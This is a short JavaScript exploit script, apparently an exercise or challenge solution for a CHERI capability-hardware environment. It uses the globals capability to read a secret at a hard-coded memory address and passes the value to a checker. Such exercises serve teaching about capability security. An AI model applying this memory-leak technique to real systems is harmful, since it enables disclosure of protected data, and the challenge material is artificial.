| // Import everything from the environment | 
 | import * as host from "./cheri.js" | 
 |  | 
 | // Change this address to whatever address was logged at the start of execution. | 
 | const SecretAddress = 0x2004cc8c | 
 |  | 
 | function run() | 
 | { | 
 | 	// Get the global capability into VM register 0 | 
 | 	host.register_move(0, host.CGP) | 
 | 	// Check that the address is in the bounds of the globals capability. | 
 | 	if (SecretAddress < host.get_base(0)) | 
 | 	{ | 
 | 		host.print('Secret is before the start of CGP') | 
 | 		return | 
 | 	} | 
 | 	if ((SecretAddress+4) > (host.get_base(0) + host.get_length(0))) | 
 | 	{ | 
 | 		host.print('Secret is after the end of CGP') | 
 | 		return | 
 | 	} | 
 | 	// Set the address in our copy of the global capability to the address of | 
 | 	// the secret. | 
 | 	host.set_address(0, SecretAddress) | 
 | 	// See if we managed to leak the secret correctly. | 
 | 	host.check_secret(host.load_int(0, 0)); | 
 | } | 
 |  | 
 | vmExport(1234, run); |